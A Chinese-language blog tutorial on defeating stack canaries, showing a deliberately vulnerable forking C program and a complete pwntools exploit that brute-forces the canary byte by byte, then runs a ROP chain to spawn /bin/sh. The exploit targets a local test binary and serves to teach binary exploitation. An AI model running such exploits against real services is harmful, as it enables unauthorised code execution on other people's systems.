Canary逐字节爆破

Chiu Lv4

canary 绕过

泄露canary

  • 利用栈溢出泄露canary
    canary 以 \x00 结尾,通过栈溢出覆盖 canary 最低字节,之后输出输入内容时会连带将 canary 一同输出。

  • 利用格式化字符串漏洞泄露 canary。

    由于 canary 存储在栈上,因此很容易就可以利用格式化字符串漏洞泄露。

逐字节爆破

例如下面的程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include<stdio.h>
#include<string.h>
#include <unistd.h>
#include <wait.h>

void vuln() {
char buf[0x100];
puts("please input:");
read(0, buf, 0x200);
}

int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);


while (1) {
pid_t pid = fork();
if (pid < 0) {
break;
} else if (pid > 0) {
wait(0);
} else {
vuln();
}
}

return 0;
}

由于 fork 产生的子进程的 canary 与父进程相同,因此可以根据子进程是否打印报错信息来逐字节爆破 canary 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

elf = ELF("./test")

context(arch=elf.arch, os=elf.os)
# context.log_level = 'debug'
p = process([elf.path])

canary = '\x00'
while len(canary) < 8:
info(len(canary))
for c in range(0x100):
p.sendafter("please input:\n", "a" * 0x108 + canary + p8(c))
if not p.recvline_contains('stack smashing detected', timeout=1):
canary += p8(c)
break

canary = u64(canary)
success("canary: " + hex(canary))
payload = ''
payload += 'a' * 0x108
payload += p64(canary)
payload += 'b' * 8

###ROPgadget --binary './test' --ropchain
payload += p64(0x000000000040f23e) # pop rsi ; ret
payload += p64(0x00000000004c10e0) # @ .data
payload += p64(0x00000000004493d7) # pop rax ; ret
payload += b'/bin//sh'
payload += p64(0x000000000047c4e5) # mov qword ptr [rsi], rax ; ret
payload += p64(0x000000000040f23e) # pop rsi ; ret
payload += p64(0x00000000004c10e8) # @ .data + 8
payload += p64(0x00000000004437a0) # xor rax, rax ; ret
payload += p64(0x000000000047c4e5) # mov qword ptr [rsi], rax ; ret
payload += p64(0x00000000004018c2) # pop rdi ; ret
payload += p64(0x00000000004c10e0) # @ .data
payload += p64(0x000000000040f23e) # pop rsi ; ret
payload += p64(0x00000000004c10e8) # @ .data + 8
payload += p64(0x00000000004017cf) # pop rdx ; ret
payload += p64(0x00000000004c10e8) # @ .data + 8
###

payload += p64(elf.search(asm('pop rax; ret;'), executable=True).next())#executable=True 搜索可执行段,而不只是加载段
payload += p64(59)
payload+=p64(elf.search(asm('syscall;'), executable=True).next())

p.sendafter("please input:\n", payload)

p.interactive()
  • Title: Canary逐字节爆破
  • Author: Chiu
  • Created at : 2024-07-31 13:52:34
  • Updated at : 2024-07-31 13:54:32
  • Link: https://github.com/Idealist17/github.io/2024/07/31/Canary逐字节爆破/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
Canary逐字节爆破